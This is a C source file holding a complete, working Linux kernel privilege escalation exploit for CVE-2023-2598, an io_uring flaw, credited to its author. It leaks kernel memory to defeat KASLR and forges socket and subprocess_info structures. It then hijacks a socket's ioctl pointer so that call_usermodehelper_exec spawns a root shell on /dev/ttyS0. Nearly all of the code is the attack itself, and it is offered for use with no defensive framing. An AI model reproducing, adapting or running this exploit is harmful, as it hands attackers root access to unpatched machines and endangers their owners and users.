#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <liburing.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <mqueue.h>

#include <sys/syscall.h>
#include <unistd.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>

#include <assert.h>

#define target_tty_dev "/dev/ttyS0"

#define PAGE_SIZE 0x1000
#define QD 4
#define sock_def_readable 0xb503f0
#define sk_data_ready_off 680
#define TCP_OFFSET 1400
#define IOCTL_OFFSET 40
#define call_usermodehelper_exec 0xa79e0 
#define call_usermodehelper_exec_work 0xa7da0


#define PROTO_SIZE 432

// offsets into subprocess_info
#define subprocess_workstruct_data 0
#define subprocess_workstruct_entry_next 8
#define subprocess_workstruct_entry_prev 16
#define subprocess_workstruct_func 24
#define subprocess_path 40
#define subprocess_argv 48
#define subprocess_envp 56
#define subprocess_init 72
#define subprocess_cleanup 80

#define __ALIGN_MASK(x,mask)    (((x)+(mask))&~(mask))
#define ALIGN(x,a)              __ALIGN_MASK(x,(typeof(x))(a)-1)

// important for these two values to be correct!
#define L1_CACHE_SHIFT 6
#define sk_buff_size 224

#define SOCK_MIN_SNDBUF 2 * (2048 + ALIGN(sk_buff_size, 1 << L1_CACHE_SHIFT))

int setup_memfd_page(char* name, int real_pages){
/* sets up a memfd and calls fallocate */
	int memfd = memfd_create(name, MFD_CLOEXEC);

	// we allocate the needed memory in memfd
	fallocate(memfd, 0, 0, real_pages * PAGE_SIZE);
	return memfd;
}

void* vmap_shallow_pages(int nr_pages, int memfd){
/* maps nr_pages consecutive virtual pages to a single physical one */

	uint64_t start = 0x4247000000;
	for(int i = 0; i < nr_pages; i++){
		if(mmap(start+i*PAGE_SIZE, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, memfd, 0) < 0){
			perror("Failed to mmap a page");
			exit(0);
		}
	}
	return (void*) start;
}

void *dump_buffer(void *buffer, int size){
	for(int i=0; i<(size/16); i++){ // split to 16-byte (2 word) "lines"
		uint64_t **at;
		at = buffer + i*16;
		// non-zero mode
		if(*at == 0x0 && *(at+1) == 0x0)
			continue;

		printf("0x%llx: 0x%llx 0x%llx\n", at, *at, *(at+1));
		exit(0);

	}
}

// returns offset at which found; assumes buffer is 8 bytes aligned
uint64_t seek_value(void *buffer, int size, uint64_t value){ 
	for(int off = 0; off < size; off = off + 8){ // split to 16-byte (2 word) "lines"
		uint64_t **at;
		at = buffer + off;
		if(*at == value)
			return off;
	}
	return -1;
}

void exit_err(char *str){
	puts(str);
	exit(1);
}


int main(){
	printf("[*] CVE-2023-2598 Exploit by anatomic (@YordanStoychev)\n");

	cpu_set_t set;
	CPU_ZERO(&set);
	CPU_SET(sched_getcpu(), &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0) {
		perror("sched_setaffinity");
		exit(EXIT_FAILURE);
	}

	// setup io_uring stuff
	struct io_uring ring;
	int i, fd, ret, pending, done;
	struct io_uring_sqe *sqe;
	struct io_uring_cqe *cqe;
	struct iovec *iovecs;

	uint64_t kaslr_base;

	ret = io_uring_queue_init(QD, &ring, 0);
	if (ret < 0) {
		fprintf(stderr, "queue_init: %s\n", strerror(-ret));
		return 1;
	}
	struct rlimit max_files;

	getrlimit(RLIMIT_NOFILE, &max_files);
	max_files.rlim_cur = max_files.rlim_max;
	setrlimit(RLIMIT_NOFILE, &max_files);

	int limit = max_files.rlim_cur - 20;
	int nr_memfds = limit / 2;
	int nr_sockets = limit - nr_memfds; 
	int *memfds = calloc(nr_memfds, sizeof(*memfds));

	int nr_maps = 65000; // good number

	uint64_t egg = 0xdeadbeefdeadbeef;
	int *sockets = calloc(nr_sockets, sizeof(*sockets));
	for (int i = 0; i < nr_sockets; i++) {
		if ((sockets[i] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
			exit_err("socket creating failed");
		if (setsockopt(sockets[i], SOL_SOCKET, SO_MAX_PACING_RATE, &egg, sizeof(uint64_t)) < 0)
			exit_err("setting pacing rate failed");
		int j = sockets[i] + SOCK_MIN_SNDBUF; // file descriptor of the socket + 4608 (because min(j, 4608) will be performed to select the value)
		if (setsockopt(sockets[i], SOL_SOCKET, SO_SNDBUF, &j, sizeof(int)) < 0)
			exit_err("failed to set SO_SNDBUF");
	}

	for(int i = 0; i < nr_memfds; i++){
		memfds[i] = setup_memfd_page("memfd_x", 1);
	}

	int block_size = 500; // leaking in blocks of 500 pages

	struct iovec iovec;

	int receiver_fd = setup_memfd_page("receiver", block_size);
	void *receiver_buffer = mmap(0, block_size*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, receiver_fd, 0);

	int success = 0;
	for(int i = 0; i < nr_memfds && success == 0; i = i + 1){
		void *buffer = vmap_shallow_pages(nr_maps, memfds[i]); 
		iovec.iov_base = buffer;
		iovec.iov_len = PAGE_SIZE * nr_maps;
		ret = io_uring_register_buffers(&ring, &iovec, 1);
		
		// walk through the virtual pages block_size pages at a time
		// ATTENTION: in this loop you will observe sacrilegious use of asserts - proceed with caution!
		for(int v_off = 0; v_off < (nr_maps - block_size); v_off = v_off + block_size){
			printf("memfd: %d, page: %d at virt_addr: %p, reading %d bytes\n", i, v_off, iovec.iov_base + v_off, iovec.iov_len);
			if(ret < 0){
				printf("Error in registering the buffers\n");
				puts(strerror(-ret));
				return 1;
			}
			// Lets leak stuff
			sqe = io_uring_get_sqe(&ring);
			// printf("Receiver buffer: %p\n", receiver_buffer);
			io_uring_prep_write_fixed(sqe, receiver_fd, buffer + v_off * PAGE_SIZE, block_size * PAGE_SIZE, 0, 0);
			ret = io_uring_submit(&ring);
			if(ret < 0){
				printf("io_uring_submit: %s", strerror(-ret));
				exit(0);
			}
			io_uring_wait_cqe(&ring, &cqe);
			io_uring_cqe_seen(&ring, cqe);
			// puts("Write was done.");
			// dump_buffer(receiver_buffer + PAGE_SIZE, PAGE_SIZE*(block_size - 1));
			
			uint64_t egg_off = seek_value(receiver_buffer, PAGE_SIZE * block_size, egg);
			if(egg_off == -1) // wasn't found here
				continue;

			// both sk_pacing_rate and sk_max_pacing_rate have been set to our egg
			// we need to verify that the values at both offsets match to be sure we are at the right location
			// in physmap there will be other places holding this value that are not the struct sock itself
			// we might also be at the offset of the sk_max_pacing_rate when we are seeking sk_pacing_rate
			if(*(uint64_t*) (receiver_buffer + egg_off) != *(uint64_t*) (receiver_buffer + egg_off + 8))
				continue;

			uint64_t sock_off = egg_off - 456;
			printf("Found value 0x%llx at offset 0x%llx\n", egg, egg_off);
			printf("Socket object starts at offset 0x%llx\n", sock_off);
			uint64_t kaslr_leak;
			kaslr_leak = *(uint64_t*) (receiver_buffer + sock_off + sk_data_ready_off);
			printf("kaslr_leak: 0x%llx\n", kaslr_leak);
			kaslr_base = kaslr_leak - sock_def_readable;
			printf("kaslr_base: 0x%llx\n", kaslr_base);

			// get the ID of the socket we leaked
			int id = *(int*)(receiver_buffer + sock_off + 332) / 2 - SOCK_MIN_SNDBUF;
			printf("found socket is socket number %d\n", id);

			// now get the pointer to the object
			uint64_t obj_addr;
			obj_addr = *(uint64_t*)(receiver_buffer + sock_off + 192) - 192; // (value in sk_error_queue.next) - (offset of sk_error_queue_next) 
			printf("our struct sock object starts at 0x%llx\n", obj_addr);

			// Before we start messing with the object we first have to copy it so we can restore it later...
			// if we don't restore we will panic the kernel
			int sz_tcp_sock = 2208;
			void *backup = malloc(sz_tcp_sock); 
			memcpy(backup, receiver_buffer + sock_off, sz_tcp_sock);

			// point sock.__sk_common.skc_prot to our fake proto structure
			// we will set up our proto structure where our tcp object de-facto starts @1400 from the start of the sock object
			uint64_t proto_addr = obj_addr + TCP_OFFSET; // address of our proto structure
			printf("fake proto structure set up at 0x%llx\n", proto_addr);
			// uint64_t proto_addr = 0xdeadbeef;
			memcpy(receiver_buffer, &proto_addr, 8);	

			sqe = io_uring_get_sqe(&ring);
			uint64_t m_sock_addr = buffer + v_off * PAGE_SIZE + sock_off; // the offset in the mapped memory 
			io_uring_prep_read_fixed(sqe, receiver_fd, m_sock_addr + 40, 8, 0, 0);

			ret = io_uring_submit(&ring);
			assert(ret >= 0);
			io_uring_wait_cqe(&ring, &cqe);
			io_uring_cqe_seen(&ring, cqe);

			// now we setup our proto structure and overwrite the ioctl value
			// uint64_t ioctl_val = 0x1337beef1337;
			uint64_t ioctl_val = kaslr_base + call_usermodehelper_exec;
			uint64_t m_proto =  m_sock_addr + TCP_OFFSET;
			uint64_t m_proto_ioctl = m_proto + IOCTL_OFFSET;
			memcpy(receiver_buffer, &ioctl_val, 8); // we copy the value we want into sock->proto.ioctl
			sqe = io_uring_get_sqe(&ring);
			io_uring_prep_read_fixed(sqe, receiver_fd, m_proto_ioctl, 8, 0, 0);

			ret = io_uring_submit(&ring);
			assert(ret >= 0);
			io_uring_wait_cqe(&ring, &cqe);
			io_uring_cqe_seen(&ring, cqe);

			// lets setup the strings we need
			// the string of the path must be written at the start of our proto structure as we should NOT overwrite subprocess_info->path
			// it must remain the same because subprocess_info->path and proto->ioctl overlap

			// path at start of proto
			char *path = "/bin/sh";
			memcpy(receiver_buffer, path, strlen(path) + 1); // we copy the path into the buffer
			sqe = io_uring_get_sqe(&ring);
			io_uring_prep_read_fixed(sqe, receiver_fd, m_proto, strlen(path) + 1, 0, 0);

			ret = io_uring_submit(&ring);
			assert(ret >= 0);
			io_uring_wait_cqe(&ring, &cqe);
			io_uring_cqe_seen(&ring, cqe);

			// we are going to put the other strings after the end of our proto structure as there we will have for sure enough space.
			// right after the strings we will put the array of pointers argv
			char *arg0 = ""; // whatever
			char *arg1 = "-c";
			char *arg2 = malloc(128);
			sprintf(arg2, "/bin/sh &>%s <%s", target_tty_dev, target_tty_dev);
			uint64_t arg0_addr = proto_addr + PROTO_SIZE;
			uint64_t arg1_addr = arg0_addr + strlen(arg0) + 1;
			uint64_t arg2_addr = arg1_addr + strlen(arg1) + 1;
			uint64_t argv[3];
			argv[0] = arg0_addr;
			argv[1] = arg1_addr;
			argv[2] = arg2_addr;

			memcpy(receiver_buffer, arg0, strlen(arg0)+1);
			memcpy(receiver_buffer + strlen(arg0) + 1, arg1, strlen(arg1)+1);
			memcpy(receiver_buffer + strlen(arg0) + strlen(arg1) + 2 , arg2, strlen(arg2)+1);
			uint64_t argv_off = arg2_addr - arg0_addr + strlen(arg2) + 1; // offset relative to the end of the proto structure
			argv_off = argv_off + 7 & ~7; // aligning it 8 bytes
			uint64_t argv_addr = proto_addr + PROTO_SIZE + argv_off;
			memcpy(receiver_buffer + argv_off, &argv, sizeof(argv));

			sqe = io_uring_get_sqe(&ring);
			io_uring_prep_read_fixed(sqe, receiver_fd, m_proto + PROTO_SIZE, argv_off + sizeof(argv), 0, 0);

			ret = io_uring_submit(&ring);
			assert(ret >= 0);
			io_uring_wait_cqe(&ring, &cqe);
			io_uring_cqe_seen(&ring, cqe);
			printf("args at 0x%llx\n", arg0_addr);
			printf("argv at 0x%llx\n", argv_addr);

			// we are going to setup a subprocess_info structure at the beginning of the struct sock 
			// don't forget subprocess_info->path must remain the same!! we will instead write the path into the beginning of the proto struct 
			// we need to setup the following members: work_struct.data, work_struct.entry.next, work_struct.entry.prev, work_struct.func
			// also argv and envp
			uint64_t subprocess_info[11];
			subprocess_info[0] = 0; // work_struct.data
			subprocess_info[1] = obj_addr + subprocess_workstruct_entry_next; // work_struct.entry.next
			subprocess_info[2] = obj_addr + subprocess_workstruct_entry_next; // work_struct.entry.prev
			subprocess_info[3] = kaslr_base + call_usermodehelper_exec_work;
			subprocess_info[5] = proto_addr; // both proto_addr and path - important to keep it the same as it was
			subprocess_info[6] = argv_addr; // argv
			subprocess_info[7] = 0; // envp
			subprocess_info[10] = 0; // init 
			subprocess_info[11] = 0; // cleanup

			memcpy(receiver_buffer, &subprocess_info, sizeof(subprocess_info));

			sqe = io_uring_get_sqe(&ring);
			io_uring_prep_read_fixed(sqe, receiver_fd, m_sock_addr, sizeof(subprocess_info), 0, 0);

			ret = io_uring_submit(&ring);
			assert(ret >= 0);
			io_uring_wait_cqe(&ring, &cqe);
			io_uring_cqe_seen(&ring, cqe);
			printf("subprocess_info set up at beginning of sock at 0x%llx\n", obj_addr);


			printf("calling ioctl... \n");
			ioctl(id, 1337); // call the ioctl and trigger the exploit

			// time to restore back the socket so we don't panic the kernel
			memcpy(receiver_buffer, backup, sz_tcp_sock); 

			sqe = io_uring_get_sqe(&ring);
			io_uring_prep_read_fixed(sqe, receiver_fd, m_sock_addr, sz_tcp_sock, 0, 0);

			ret = io_uring_submit(&ring);
			assert(ret >= 0);
			io_uring_wait_cqe(&ring, &cqe);
			io_uring_cqe_seen(&ring, cqe);

			success = 1;
			break;
			// while(1);
			// exit(1);
		}
		io_uring_unregister_buffers(&ring);
		munmap(buffer, nr_maps * PAGE_SIZE);
	}

	// close the sockets and memfds as we will loop and the program won't exit normally
	// so the sockets and memfd will remain in memory
	for (int i = 0; i < nr_sockets; i++) {
		close(sockets[i]);
	}
	for(int i = 0; i < nr_memfds; i++){
		close(memfds[i]);
	}
	munmap(receiver_buffer, block_size * PAGE_SIZE);
	close(receiver_fd);

	while(true)
		sleep(60);

	return 0;
}